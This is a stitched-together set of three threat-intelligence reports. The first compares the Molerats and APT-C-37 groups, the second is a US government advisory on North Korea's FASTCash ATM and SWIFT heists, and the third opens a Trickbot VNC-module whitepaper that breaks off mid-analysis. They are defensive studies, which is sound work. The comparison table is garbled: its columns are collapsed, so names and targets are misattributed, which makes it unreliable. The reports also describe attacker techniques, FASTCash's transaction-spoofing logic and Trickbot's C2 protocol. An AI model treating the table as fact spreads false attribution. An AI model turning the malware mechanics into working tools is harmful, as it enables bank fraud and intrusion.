In 2019, several industry analyst reports confused the threat groups Molerats and APT-C-37 due to their similarity, leading to some confusion and inaccuracy of attribution. Both groups target the Middle East and North Africa region, with a special emphasis on Palestinian territories. They approach victims through phishing emails containing decoy documents, mostly in Arabic, with themes concerning the political situation in the area. To improve understanding of the differences and similarities of the two groups, we at Alien Labs™ are providing an analysis of their 2019 activity.
## APT-C-37 Overview
APT-C-37, also known as Pat-Bear or the Syrian Electronic Army (SEA), was first seen in October 2015 targeting members of a terrorist organization. Since then, APT-C-37 has broadened its objectives to include government agencies, armed forces leadership, media organizations, political activists, and diplomats. The group mostly targets victims in Western countries, intending to deface their websites and social accounts while leaving a public footprint after hacking one of their victims.
In previous attacks, APT-C-37 targeted Windows and Android systems, utilizing popular commercial remote access trojans (RATs) such as DroidJack, SpyNote, njRAT, SSLove, and H-Worm.
### Technical Analysis: APT-C-37 2019
In June 2019, APT-C-37 released an Android app named after the instant messaging software “WhatsApp” as an espionage tool to reportedly spy on the Syrian opposition forces. The app was capable of installing the SSLove RAT to pull private information from the phone and exfiltrate it to a remote location.
## Molerats Overview
Molerats has been present in the cybercriminal landscape since 2012. An analysis released by Kaspersky’s GReAT (Global Research & Analysis Team) concluded that Molerats is Gaza Cybergang “Group1.” The report also concluded that Molerats operates with a lower level of sophistication than other groups within the Gaza Hacker Team. A 2016 article in Security Week reported that one of Molerats' campaigns heavily used popular RATs like NjRat and H-Worm.
### Technical Analysis: Molerats 2019
In October 2019, Molerats’ operation was distributed as a phishing campaign in the Middle East. Emails included a Microsoft Word file attachment titled “Daily report on the most important Palestinian developments for the day 9-9-2019.doc.” When a victim opened the attachment, the malware performed the following:
- Displayed the Microsoft Word document as distraction.
- Unpacked a Microsoft.vbs into the folder ‘C:\programdata\Micorsoft’ to confuse the victim with a typo inside the folder ‘Micorsoft.’
- Programmed itself as a scheduled task, once the previous vbs was executed.
- Made an HTTPS request to download GoogleChrome.vbs, which had an additional HTTPS request to GoogleChrome.msi.
In September-October 2019, Molerats' malware propagated through an executable with a fake PDF file. The executables were signed under the name “FoxitReader.” When a victim opened the attachment, the malware performed the following:
- Both documents extracted an executable and then a PDF to distract the user.
- The executable contained a copy of the Perseus Trojan, which communicated with the command and control (C&C) infrastructure through HTTPS.
In August 2019, Molerats ran another campaign, identified by Alien Labs, which communicated with a new domain that used the same C&C pattern detected by an IDS signature. The domain, which has been up since 2017, has two malicious files associated with it.
In January 2019, Molerats switched its tactics back to phishing with Word Documents that concealed a malicious Vbscript. The vbs contained an encoded version of the malware, which was scheduled and executed after decryption. The malicious file corresponded to a version of the Fraudrop Trojan.
In November 2019, Alien Labs discovered a new Molerats sample. In this case, the group recycled the domain used in their January attack for C&C. An executable with an Arabic name that translates to “Winter government by names” extracted and executed a modified version of the Fraudrop trojan.
## APT-C-37 vs. Molerats
| APT-C-37 | Molerats |
|---------------------------------------|--------------------------------------------|
| Names | Pat-Bear |
| | Syrian Electronic Army |
| | Gaza Cybergang |
| | Gaza Hacker Team |
| | Molerats (Gaza Cybergang Group1) |
| | Desert Falcons (Gaza Cybergang Group2) |
| | Operation Parliament (Gaza Cybergang Group3) |
| | SneakyPastes (Campaign by Molerats) |
| | DustySky |
| | Moonlight |
| Targets | Armed organizations |
| | Middle East North Africa region, |
| | especially Palestinian territories |
| | Israel |
| | Egypt |
| | Occidental countries |
| Timelines | Since October 2015 (as the Syrian Electronic Army, since 2011) |
| | Since 2012 |
| Tactics | RATs like DroidJack, SpyNote, njRAT, H-Worm. |
| | Phishing campaigns with MS Word documents or PDF files with the malware packed inside the document or retrieved through HTTPS. |
| | Windows and Android attacks. |
| | Tends to leave public signatures for everyone to show they hacked their victims or leak exfiltrated data. |
| | Persistence is obtained through scheduled tasks. |
| | Malware is not constant and heavily rotated, but C&C are sometimes recycled. |
## Conclusion
Yes, indeed, we have seen similar patterns between Molerats and APT-C-37 in 2019. However, Molerats has shown to be a more active group, with a more advanced tradecraft and methods that are more difficult to defend against due to the use of HTTPS, high rotation of malware, or even IP filtering to specific geolocations. Therefore, we do not have a high level of confidence that the latest samples belong to either of these two groups or have a relationship at this time. Having said this, we offer a caveat: of the samples we analyzed, we left three unattributed for the moment. Through future analysis, we may find that these do fall under either Molerats or APT-C-37. If that happens, we’ll keep you updated. |
# FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks
## Summary
This Alert uses the MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK®) framework. This joint advisory is the result of analytic efforts among the Cybersecurity and Infrastructure Security Agency (CISA), the Department of the Treasury, the Federal Bureau of Investigation (FBI), and U.S. Cyber Command (USCYBERCOM). Working with U.S. government partners, CISA, Treasury, FBI, and USCYBERCOM identified malware and indicators of compromise (IOCs) used by the North Korean government in an automated teller machine (ATM) cash-out scheme—referred to by the U.S. Government as “FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks.”
CISA, Treasury, FBI, and USCYBERCOM highlight the cyber threat posed by North Korea—formally known as the Democratic People’s Republic of Korea (DPRK)—and provide recommended steps to mitigate the threat. Refer to the following Malware Analysis Reports for associated IOCs: CROWDEDFLOUNDER, ECCENTRICBANDWAGON, ELECTRICFISH, FASTCash for Windows, HOPLIGHT, and VIVACIOUSGIFT.
**WARNING**
Since February 2020, North Korea has resumed targeting banks in multiple countries to initiate fraudulent international money transfers and ATM cash outs. This advisory provides an overview of North Korea’s extensive, global cyber-enabled bank robbery scheme, a short profile of the group responsible for this activity, in-depth technical analysis, and detection and mitigation recommendations to counter this ongoing threat to the Financial Services sector.
## Technical Details
North Korea's intelligence apparatus controls a hacking team dedicated to robbing banks through remote internet access. To differentiate methods from other North Korean malicious cyber activity, the U.S. Government refers to this team as BeagleBoyz, who represent a subset of HIDDEN COBRA activity. The BeagleBoyz overlap to varying degrees with groups tracked by the cybersecurity industry as Lazarus, Advanced Persistent Threat 38 (APT38), Bluenoroff, and Stardust Chollima and are responsible for the FASTCash ATM cash outs reported in October 2018, fraudulent abuse of compromised bank-operated SWIFT system endpoints since at least 2015, and lucrative cryptocurrency thefts. This illicit behavior has been identified by the United Nations (UN) DPRK Panel of Experts as evasion of UN Security Council resolutions, as it generates substantial revenue for North Korea. North Korea can use these funds for its UN-prohibited nuclear weapons and ballistic missile programs. Additionally, this activity poses significant operational risk to the Financial Services sector and erodes the integrity of the financial system.
The BeagleBoyz’s bank robberies pose severe operational risk for individual firms beyond reputational harm and financial loss from theft and recovery costs. The BeagleBoyz have attempted to steal nearly $2 billion since at least 2015, according to public estimates. Equally concerning, these malicious actors have manipulated and, at times, rendered inoperable, critical computer systems at banks and other financial institutions.
In 2018, a bank in Africa could not resume normal ATM or point of sale services for its customers for almost two months following an attempted FASTCash incident. The BeagleBoyz often put destructive anti-forensic tools onto computer networks of victim institutions. Additionally, in 2018, they deployed wiper malware against a bank in Chile that crashed thousands of computers and servers to distract from efforts to send fraudulent messages from the bank’s compromised SWIFT terminal.
North Korea’s widespread international bank robbery scheme that exploits critical banking systems may erode confidence in those systems and presents risks to financial institutions across the world. Any BeagleBoyz robbery directed at one bank implicates many other financial services firms in both the theft and the flow of illicit funds back to North Korea. BeagleBoyz activity fits a known North Korean pattern of abusing the international financial system for profit.
Fraudulent ATM cash outs have affected upwards of 30 countries in a single incident. The conspirators have withdrawn cash from ATM machines operated by various unwitting banks in multiple countries, including in the United States. The BeagleBoyz also use unwitting banks, including banks in the United States, for their SWIFT fraud scheme. These banks are custodians of accounts belonging to victim banks or unknowingly serve as a pass-through for the fraud. Most infamously, the BeagleBoyz stole $81 million from the Bank of Bangladesh in 2016. The Federal Reserve Bank of New York stopped the remainder of this attempted $1 billion theft after detecting anomalies in the transfer instructions they had received.
## FASTCash Update
North Korea’s BeagleBoyz are responsible for the sophisticated cyber-enabled ATM cash-out campaigns identified publicly as “FASTCash” in October 2018. Since 2016, the BeagleBoyz have perpetrated the FASTCash scheme, targeting banks’ retail payment system infrastructure (i.e., switch application servers processing International Standards Organization [ISO] 8583 messages, which is the standard for financial transaction messaging).
Since the publication of the FASTCash report in October 2018, there have been two particularly significant developments in the campaign: (1) the capability to conduct the FASTCash scheme against banks hosting their switch applications on Windows servers, and (2) an expansion of the FASTCash campaign to target interbank payment processors.
In October 2018, the U.S. Government identified malware used in the FASTCash scheme that has the capability to manipulate AIX servers running a bank's switch application to intercept financial request messages and reply with fraudulent, but legitimate-looking, affirmative response messages to enable extensive ATM cash outs. The U.S. Government has since identified functionally equivalent malware for the Windows operating system.
The BeagleBoyz initially targeted switch applications at individual banks with FASTCash malware but, more recently, have targeted at least two regional interbank payment processors. This suggests the BeagleBoyz are exploring upstream opportunities in the payments ecosystem.
## BEAGLEBOYZ Profile
The BeagleBoyz, an element of the North Korean government’s Reconnaissance General Bureau, have likely been active since at least 2014. As opposed to typical cybercrime, the group likely conducts well-planned, disciplined, and methodical cyber operations more akin to careful espionage activities. Their malicious cyber operations have netted hundreds of millions of U.S. dollars and are likely a major source of funding for the North Korean regime. The group has always used a calculated approach, which allows them to sharpen their tactics, techniques, and procedures while evading detection. Over time, their operations have become increasingly complex and destructive. The tools and implants employed by this group are consistently complex and demonstrate a strong focus on effectiveness and operational security.
### Community Identifiers
The BeagleBoyz overlap to varying degrees with groups tracked by the cybersecurity industry as: APT38 (FireEye), Bluenoroff (Kaspersky), Lazarus Group (ESTSecurity), and Stardust Chollima (CrowdStrike).
### Targeted Nations
The BeagleBoyz likely have targeted financial institutions in the following nations from 2015 through 2020: Argentina, Brazil, Bangladesh, Bosnia and Herzegovina, Bulgaria, Chile, Costa Rica, Ecuador, Ghana, India, Indonesia, Japan, Jordan, Kenya, Kuwait, Malaysia, Malta, Mexico, Mozambique, Nepal, Nicaragua, Nigeria, Pakistan, Panama, Peru, Philippines, Singapore, South Africa, South Korea, Spain, Taiwan, Tanzania, Togo, Turkey, Uganda, Uruguay, Vietnam, and Zambia.
## Anatomy of a BeagleBoyz Bank Heist
The BeagleBoyz use a variety of tools and techniques to gain access to a financial institution’s network, learn the topology to discover key systems, and monetize their access. The technical analysis below represents an amalgamation of multiple known incidents, rather than details of a single operation. These findings are presented to highlight the group’s ability to tailor their techniques to different targets and to adapt their methods over time. Consequently, there is a need for layered mitigations to effectively defend against this activity, as relying solely on network signature detection will not sufficiently protect against North Korea’s BeagleBoyz.
### Initial Access
The BeagleBoyz have used a variety of techniques, such as spearphishing and watering holes, to enable initial access into targeted financial institutions. Towards the end of 2018 through 2019 and in early 2020, the BeagleBoyz demonstrated the use of social engineering tactics by carrying out job-application themed phishing attacks using publicly available malicious files.
The BeagleBoyz may also be working with or contracting out to criminal hacking groups, like TA505, for initial access development. The third party typically uses commodity malware to establish initial access on a victim’s network and then turns over the access to the BeagleBoyz for follow-on exploitation, which may not occur until months later.
The BeagleBoyz have also used the following techniques to gain an initial foothold on a targeted computer network:
- Email an attachment with malware to a specific individual, company, or industry (Phishing: Spearphishing Attachment)
- Compromise a website visited by users in specific communities, industries, or regions (Drive-by Compromise)
- Exploit a weakness (a bug, glitch, or design vulnerability) in an internet-facing computer system (Exploit Public Facing Application)
- Steal the credentials of a specific user or service account to bypass access controls (Valid Accounts)
- Breach organizations that have access to the intended victim’s organization and exploit their trusted relationship (Trusted Relationship)
- Use remote services to initially access and persist within a victim’s network (External Remote Services)
### Execution
The BeagleBoyz selectively exploit victim computer systems after initially compromising a computer connected to a financial institution’s corporate network. After gaining initial access to a financial institution’s corporate network, the BeagleBoyz are selective in which victim systems they further exploit. The BeagleBoyz use a variety of techniques to run their code on local and remote victim systems.
- Use command-line interfaces to interact with systems and execute other software (Command and Scripting Interpreter)
- Use scripts (e.g., VBScript and PowerShell) to speed up operational tasks, reduce the time required to gain access to critical resources, and bypass process monitoring mechanisms (Command and Scripting Interpreter: PowerShell, Command and Scripting Interpreter: Visual Basic)
- Rely upon specific user actions, such as opening a malicious email attachment (User Execution)
- Exploit software vulnerabilities to execute code on a system (Exploitation for Client Execution)
- Create new services or modify existing services to execute executables, commands, or scripts (System Services: Service Execution)
- Employ the Windows module loader to load Dynamic Link Libraries (DLLs) from arbitrary local paths or arbitrary Universal Naming Convention (UNC) network paths and execute arbitrary code on a system (Shared Modules)
- Use the Windows API to execute arbitrary code on the victim's system (Native API)
- Use a system's graphical user interface (GUI) to search for information and execute files (Remote Services)
- Use the Task Scheduler to run programs at system startup or on a scheduled basis for persistence, conduct remote execution for lateral movement, gain SYSTEM privileges for privilege escalation, or run a process under the context of a specified account (Scheduled Task/Job)
- Abuse compiled Hypertext Markup Language (HTML) files (.chm) to conceal malicious code (Signed Binary Proxy Execution: Compiled HTML File)
- Abuse Windows rundll32.exe to execute binaries, scripts, and Control Panel Item files (.CPL) and execute code via proxy to avoid triggering security tools (Signed Binary Proxy Execution: Rundl32)
### Persistence
The BeagleBoyz use many techniques to maintain access on compromised networks through system restarts, changed credentials, and other interruptions that could affect their access.
- Add an entry to the “run keys” in the Registry or an executable to the startup folder to execute malware as the user logs in (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)
- Install a new service that can be configured to execute at startup (Create or Modify System Process: Windows Service)
- Compromise an openly accessible web server with a web script (known as web shell) to use the web server as a gateway into a network (Server Software Component: Web Shell)
- Manipulate accounts to maintain access to credentials and certain permission levels within an environment (Account Manipulation)
- Steal the credentials of a specific user or service account to bypass access controls (Valid Accounts)
- Use the Task Scheduler to run programs at system startup or on a scheduled basis for persistence (Scheduled Task/Job)
- Abuse the Windows DLLs search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence (Hijack Execution Flow: DLL Search Order Hijacking)
- Exploit hooking to load and execute malicious code within the context of another process (Input Capture: Credential API Hooking)
- Use remote services to persist within a victim’s network (External Remote Services)
### Privilege Escalation
The BeagleBoyz often seek access to financial institutions’ systems that have tiered user and system accounts with customized privileges. The BeagleBoyz must overcome these restrictions to access necessary systems, monitor normal user behavior, and install and execute additional malicious tools. To do so, the BeagleBoyz have used the following techniques to gain higher-level permissions on a system or network:
- Inject code into processes to evade process-based defenses and elevate privileges (Process Injection)
- Install a new service that can be configured to execute at startup (Create or Modify System Process: Windows Service)
- Compromise an openly accessible web server with web shell (Server Software Component: Web Shell)
- Use the Task Scheduler to run programs at system startup or on a scheduled basis for persistence (Scheduled Task/Job)
- Steal the credentials of a specific user or service account to bypass access controls (Valid Accounts)
- Exploit hooking to load and execute malicious code within the context of another process (Input Capture: Credential API Hooking)
- Perform Sudo caching or use the Soudoers file to elevate privileges in Linux and macOS systems (Abuse Elevation Control Mechanism: Sudo and Sudo Caching)
- Execute malicious payloads by hijacking the search order used to load DLLs (Hijack Execution Flow: DLL Search Order Hijacking)
### Defense Evasion
Throughout their exploitation of a financial institution’s computer network, the BeagleBoyz have used different techniques to avoid detection by OS security features, system and network security software, and system audits.
- Exploit code signing certificates to masquerade malware and tools as legitimate binaries (Subvert Trust Controls Signing)
- Remove malware, tools, or other non-native files dropped or created throughout an intrusion (Indicator Removal on Host: File Deletion)
- Inject code into processes to evade process-based defenses (Process Injection)
- Use scripts (such as VBScript and PowerShell) to bypass process monitoring mechanisms (Command and Scripting Interpreter: PowerShell, Command and Scripting Interpreter: Visual Basic)
- Attempt to make an executable or file challenging to discover or analyze by encrypting, encoding, or obfuscating its contents (Obfuscated Files or Information)
- Use external previously compromised web services to relay commands to a victim system (Web Service)
- Use software packing to change the file signature, bypass signature-based detection, and decompress the executable code in memory (Unsecured Credentials: Private Keys)
- Use obfuscated files or information to hide intrusion artifacts (Deobfuscate/Decode Files or Information)
- Modify the data timestamps to mimic files that are in the same folder (Indicator Removal on Host: Remove Timestamp)
- Abuse Windows utilities to implement arbitrary execution commands (Indirect Command Execution)
- Use various methods to prevent their commands from appearing in logs and clear command history (Indicator Removal on Host: Clear Command History)
- Disable security tools to avoid possible detection of tools and events (Impair Defenses: Disable or Modify Tools)
- Delete or alter generated artifacts on a host system, including logs and potentially captured files (Indicator Removal on Host: File Deletion)
- Abuse compiled HTML files (.chm) to conceal malicious code (Signed Binary Proxy Execution: Compiled HTML File)
- Prepend a space to all their terminal commands to operate without leaving traces in the HISTCONTROL environment (Impair Defenses: HISTCONTROL)
- Modify malware so it has a different signature and re-use it in cases when the group determines it was quarantined (Obfuscated Files or Information: Indicator Removal from Tools)
- Attempt to block indicators or events typically captured by sensors from being gathered (Impair Defenses: Indicator Blocking)
- Use the Windows DLLs search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence (Hijack Execution Flow: DLL Search Order Hijacking)
- Manipulate or abuse the attributes or location of an executable (masquerading) (Masquerading)
### Credential Access
The BeagleBoyz may use malware like ECCENTRICBANDWAGON to log keystrokes and take screen captures. The U.S. Government has identified some ECCENTRICBANDWAGON samples that have the ability to RC4 encrypt logged data, but the tool has no network functionality. The implant uses specific formatting for logged data and saves the file locally; another tool obtains the logged data.
The BeagleBoyz may not always need to use custom keyloggers like ECCENTRICBANDWAGON or other tools to obtain credentials from a compromised system. Depending on the victim’s environment, the BeagleBoyz have used the following techniques to steal credentials:
- Capture user input, such as keylogging (Input Capture)
- Obtain account login and password information from the operating system and software (OS Credential Dumping)
- Gather private keys from compromised systems (Unsecured Credentials: Private Keys)
- Manipulate default, domain, local, and cloud accounts to maintain access to credentials (Account Manipulation)
- Abuse hooking to load and execute malicious code within the context of another process (Input Capture: Credential API Hooking)
- Use brute force techniques to attempt account access (Brute Force)
### Discovery
Once inside a financial institution’s network, the BeagleBoyz appear to seek two specific systems—the SWIFT terminal and the server hosting the institution’s payment switch application. As they progress through a network, they learn about the systems they have accessed in order to map the network and gain access to the two goal systems. To do so, the BeagleBoyz have used the following techniques to gain knowledge about the systems and internal network:
- Attempt to get detailed information about the operating system and hardware (System Information Discovery)
- Enumerate files and directories or search in specific locations of a host or network share (File and Directory Discovery)
- Get a list of security software, configurations, defensive tools, and sensors installed on the system (Software Discovery: Security Software Discovery)
- Procure information about running processes on a system (Process Discovery)
- Identify primary users, currently logged in users, or active or inactive users (System Owner/User Discovery)
- Enumerate browser bookmarks to learn more about compromised hosts (Browser Bookmark Discovery)
- Look for information on network configuration and system settings (System Network Configuration Discovery)
- Interact with the Windows Registry to gather information about the system (Query Registry)
- Get a list of open application windows (Application Window Discovery)
- Attempt to get a listing of local system or domain accounts (Account Discovery)
- Obtain a list of network connections to and from the compromised system (System Network Connections Discovery)
### Lateral Movement
To access a compromised financial institution’s SWIFT terminal and the server hosting the institution’s payment switch application, the BeagleBoyz leverage harvested credentials and take advantage of the accessibility of these critical systems from other systems in the institution’s corporate network. Specifically, the BeagleBoyz have been known to create firewall exemptions on specific ports. Depending on the configuration of compromised systems and the security environment of the victim’s computer network, the BeagleBoyz have used the following techniques to enter and control remote systems on a compromised network:
- Copy files from one system to another to stage adversary tools (Ingress Tool Transfer)
- Use Remote Desktop Protocol (RDP) to log into an interactive session with a system (Remote Services: Remote Desktop Protocol)
- Employ hidden network shares, in conjunction with administrator-level valid accounts, to remotely access a networked system over Server Message Block (SMB) (Remote Services: SMB/Windows Admin Shares)
- Exploit valid accounts to log into a service designed to accept remote connections (Remote Services)
### Collection
Depending on various environmental attributes the BeagleBoyz encounter during their exploitation, they may deploy a variety of reconnaissance tools or use commonly available administrative tools for malicious purposes. The BeagleBoyz, like other sophisticated cyber actors, also appear to use resident, legitimate administrative tools for reconnaissance purposes when they are available; this is commonly known as “living off the land.” PowerShell appears to be a popular tool the BeagleBoyz favor for reconnaissance activities.
The BeagleBoyz have used the following techniques to gather information from exploited systems:
- Use automated methods, such as scripts, for collecting data (Automated Collection)
- Capture user input to obtain credentials and collect information (Input Capture)
- Collect local systems data from a compromised system (Data from Local System)
- Take screen captures of the desktop (Screen Capture)
- Collect data stored in the Windows clipboard from users (Clipboard Data)
### Command and Control
The BeagleBoyz likely change tools—such as CROWDEDFLOUNDER and HOPLIGHT—over time to maintain remote access to financial institution networks and to interact with those systems.
The BeagleBoyz have used CROWDEDFLOUNDER as a remote access trojan (RAT) since at least 2018. The implant is designed to operate on Microsoft Windows hosts and can upload and download files, launch a remote command shell, inject into victim processes, obtain user and host information, and securely delete files. The implant may be packed with Themida to degrade or prevent effective reverse engineering or evade detection on a Windows host.
More recently, the U.S. Government has found HOPLIGHT malware on victim systems, suggesting the BeagleBoyz are using HOPLIGHT for similar purposes. HOPLIGHT has the same basic RAT functionality as the CROWDEDFLOUNDER implant. In addition, HOPLIGHT has the capability to create fraudulent Transport Layer Security (TLS) sessions to obfuscate command and control (C2) connections, making detection and tracking of the malware’s communications difficult.
The BeagleBoyz use network proxy tunneling tools—including VIVACIOUSGIFT and ELECTRICFISH—to tunnel communications from non-internet facing systems like an ATM switch application server or a SWIFT terminal to internet-facing systems.
In addition to these tools, the BeagleBoyz have used the following techniques to communicate with financial institution victim systems under their control:
- Employ known encryption algorithms to conceal C2 traffic (Encrypted Channel)
- Communicate over commonly used standard application layer protocols and ports (Application Layer Protocol)
- Encode C2 information using standard data encoding systems (Data Encoding: Standard Encoding)
- Copy files between systems to stage adversary tools (Ingress Transfer Tool)
- Use external previously compromised web services to relay commands to victim systems (Web Service)
- Employ a custom C2 protocol that mimics well-known protocols (Non-Application Layer Protocol)
- Obfuscate C2 communications (Data Obfuscation)
- Employ connection proxies to direct network traffic between systems (Proxy)
- Exploit legitimate desktop support and remote access software to establish an interactive C2 channel (Remote Access Software)
### Cryptocurrency Exchange Heists
In addition to robbing traditional financial institutions, the BeagleBoyz target cryptocurrency exchanges to steal large amounts of cryptocurrency, sometimes valued at hundreds of millions of dollars per incident. Cryptocurrency offers the BeagleBoyz an irreversible method of theft that can be converted into fiat currency. Working with U.S. Government partners, CISA, Treasury, FBI, and USCYBERCOM identified COPPERHEDGE as the tool of choice for the BeagleBoyz to exploit cryptocurrency exchanges. COPPERHEDGE is a full-featured remote access tool capable of running arbitrary commands, performing system reconnaissance, and exfiltrating data.
### Exfiltration
During a cyber operation, the BeagleBoyz need to exfiltrate a variety of data from compromised systems. In addition to the C2 tools noted that have built-in exfiltration features, such as CROWDEDFLOUNDER and HOPLIGHT, the BeagleBoyz use the following techniques to steal data from a network:
- Compress and encrypt collected data before exfiltration (Archive Collected Data)
- Steal collected data via scripts (Automated Exfiltration)
- Encode data using the same protocol as the C2 channel and exfiltrate it over the C2 channel (Exfiltration Over C2 Channel)
### Impact
The U.S. Government has observed the BeagleBoyz successfully monetize illicit access to financial institutions’ SWIFT terminals to enable wire fraud and gain access to the institutions’ payment switch application servers, which allowed fraudulent ATM cash outs. After gaining access to either one or both of these operationally critical systems, the BeagleBoyz monitor the systems to learn about their configurations and legitimate use patterns, and then they deploy bespoke tools to facilitate illicit monetization.
The cybersecurity community and Financial Services sector have released substantial information on the BeagleBoyz manipulation of compromised SWIFT terminals, describing their ability to monitor these systems, send fraudulent messages, and attempt to hide the fraudulent activity from detection. The discussion below focuses on the custom tools used to manipulate payment switch applications for ATM cash outs.
The BeagleBoyz use FASTCash malware to intercept financial request messages and reply with fraudulent but legitimate-looking affirmative response messages in the ISO 8583 format. The BeagleBoyz have functionally equivalent FASTCash malware for both UNIX and Windows that they deploy depending on the operating system running on the server hosting the bank’s payment switch application.
FASTCash for UNIX is composed of AIX executable files designed to inject code and libraries into a currently running process. One AIX executable provides export functions, which allows an application to manipulate transactions on financial systems using the ISO 8583 international standard for financial transaction card-originated interchange messaging. The injected executables interpret financial request messages and construct fraudulent financial response messages.
The BeagleBoyz use FASTCash for Windows to manipulate transactions processed by a switch application running on a Windows box. FASTCash for Windows is also specific to the ISO 8583 message format. The BeagleBoyz appear to have modified publicly available source code to write parts of the tool, likely to speed development. The malware contains code probably taken from open-source repositories on the internet to create hashmaps and hook functions and to parse ISO 8583 messages.
The malware hooks onto the send and receive function of the switch application so that it can process inbound request messages as they are received. FASTCash for Windows inspects the inbound message, probably looking for specific account numbers. If the account number matches an expected number, the malware constructs a fraudulent response message. If the account number does not match an expected number, the malware allows the request to pass through normally. If the malware constructs a fraudulent response message, it then sends it back to the acquirer without any further processing by the switch application, leaving the issuer without any awareness of the fraudulent transaction.
### Mitigations
- Contact law enforcement, CISA, or Treasury immediately regarding any identified activity related to BeagleBoyz.
- Incorporate IOCs identified in CISA’s Malware Analysis Reports into intrusion detection systems and security alert systems to enable active blocking or reporting of suspected malicious activity.
### Recommendations for all Financial Institutions
- Require chip and personal identification number (PIN) cryptogram validation.
- Implement chip and PIN requirements for debit cards.
- Validate card-generated authorization request cryptograms.
- Use issuer-generated authorization response cryptograms for response messages.
- Require card-generated authorization response cryptogram validation to verify legitimate response messages.
### Recommendations for Organizations with ATM or Point of Sale Devices
- Validate issuer responses to financial request messages.
- Implement chip and PIN requirements for debit cards.
- Require and verify message authentication codes on issuer financial request response messages.
- Perform authorization response cryptogram validation for chip and PIN transactions.
### Recommendations for All Organizations
Users and administrators should use the following best practices to strengthen the security posture of their organization’s systems:
- Maintain up-to-date antivirus signatures and engines.
- Keep operating system patches up to date.
- Disable file and printer sharing services. If these services are required, use strong passwords or Active Directory authentication.
- Restrict users’ ability to install and run unwanted software applications.
- Do not add users to the local administrators’ group unless required.
- Enforce a strong password policy and require regular password changes.
- Exercise caution when opening email attachments even if the attachment is expected and the sender appears to be known.
- Enable a personal firewall on agency workstations and configure it to deny unsolicited connection requests.
- Disable unnecessary services on agency workstations and servers.
- Scan for and remove suspicious email attachments; ensure the scanned attachment is its “true file type” (i.e., the extension matches the file header).
- Monitor users' web browsing habits; restrict access to sites with unfavorable content.
- Exercise caution when using removable media (e.g., USB thumb drives, external drives, CDs).
- Scan all software downloaded from the internet before executing.
- Maintain situational awareness of the latest threats.
- Implement appropriate access control lists.
### Contact Information
Recipients of this report are encouraged to contribute any additional information that they may have related to this threat. For any questions related to this report or to report an intrusion and request resources for incident response or technical assistance, please contact:
- CISA (888-282-0870 or [email protected])
- The FBI through the FBI Cyber Division (855-292-3937 or [email protected]) or a local field office
- Treasury Office of Cybersecurity and Critical Infrastructure Protection (Treasury OCCIP) (202-622-3000 or [email protected])
### DISCLAIMER
This information is provided "as is" for informational purposes only. The United States Government does not provide any warranties of any kind regarding this information. In no event shall the United States Government or its contractors or subcontractors be liable for any damages, including but not limited to, direct, indirect, special or consequential damages, arising out of, resulting from, or in any way connected with this information, whether or not based upon warranty, contract, tort, or otherwise, whether or not arising out of negligence, and whether or not injury was sustained from, or arose out of the results of, or reliance upon the information. The United States Government does not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the United States Government. |
# WHITEPAPER
## Security: A Fresh Look at Trickbot’s Ever-Improving VNC Module
### Foreword
The journey of Trickbot starts almost half a decade ago, when it appeared in the form of a banker and credential-stealing application. Drawing inspiration from Dyre (or Dyreza), Trickbot consists of an ecosystem of plugin modules and helper components. As of late, the Trickbot group, which has managed to infect millions of computers worldwide, has played an active role in disseminating ransomware. While most of the Dyre creators have gone dark, one person was recently charged for her role in this transnational cybercrime ring operating out of Russia, Belarus, Ukraine, and Suriname. However, despite the indictment and the law enforcement takedown attempts, Trickbot shows no sign of slowing down.
Bitdefender researchers have been reporting on notable developments in Trickbot’s lifecycle, with highlights including the analysis of one of its modules in late 2020 used to bruteforce RDP connections and the analysis of its new C2 infrastructure in the wake of the crackdown of its infrastructure. This new research focuses on an updated VNC module, which includes new functionalities for monitoring and intelligence gathering.
### A New Update on the Horizon
As of May 12, 2021, our monitoring systems started to pick up an updated version of the vncDll module used by Trickbot against select high-profile targets. This module is known as tvncDll and is used for monitoring and intelligence gathering. It seems to be still under development, since the group has a frequent update schedule, regularly adding new functionalities and bug fixes. Our analysis focuses on identifying the communication protocol and the infrastructure behind it in correlation with the module’s new functionalities. During our investigation, we also stumbled on an additional tool used by the Trickbot group to facilitate the access of other threat actors to the victims’ computers.
### Communication Protocol
This module, vncDll/tvncDll, uses a custom communication protocol, which only makes it harder to understand what data is being transmitted without prior knowledge. The module communicates with the C2 servers defined in its configuration file called vncconf, which includes a list of up to nine IP addresses. These servers act as mediators between the victims and attackers, one of their roles being to enable access to victims behind firewalls.
The configuration file is sent to the module using the Control function, along with a command. In this case, there are two accepted commands, but only one is fully implemented. The commands are SetConf and Listen. While the latter is unimplemented, its existence suggests that the developers of the module were planning to implement a server component for victims who aren’t behind firewalls. As its name implies, SetConf sets the configuration for the module, adding the IP addresses to the list of C2 servers. The module will use the first one it can connect to.
The port used to communicate with the servers is 443 to avoid arousing the suspicion of anyone observing the traffic. Although traffic on this port normally uses SSL or TLS, the data is sent unencrypted.
The communication protocol has two parts: the setup part and the normal operation mode.
#### Setup Part
The role of the setup part is to announce the C2 server of its existence and receive a set of commands while waiting for an attacker to connect to one of the servers and ask to be put in contact with one of the victims. The setup part works as follows:
1. If the module receives TS5T, it will echo it back to the C2 server and wait for another command. This is used as a keep-alive message while no attacker is requesting access to the victim.
2. If the module receives LliK, it will stop itself and ask Trickbot to unload it from memory.
3. If any other message is received, it will enter the normal operation mode, meaning that an attacker requested to communicate with the module and the C2 server is now just relaying messages between the two. It is also the moment when the module will create a new desktop that is fully controlled by the module and contains a custom interface.
#### Normal Operation Mode
In the normal operation mode, the messages are exchanged as follows: The communication is full duplex, the victim can send screenshots of the alternative desktop and the clipboard data, the server sends window messages that get decoded and processed.
The screenshot messages have the following format: Message id (0x35354141 or “AA55”), followed by the size of the screenshot (4 bytes) and the X and Y coordinates of the top left corner (2 bytes for each) and followed by the screenshot. The screenshot is taken in the bitmap (bmp) format by the malware, but for network transportation, it is converted to either jpeg or png, depending on its size. If the image is under 40000 pixels, it will be sent as png. Notably, the malware isn’t sending full screenshots at a regular interval, but is instead sending a full screenshot at first, then it’s sending only screenshots of the parts of the alternative desktop that changed, hence the use of the X and Y coordinates.
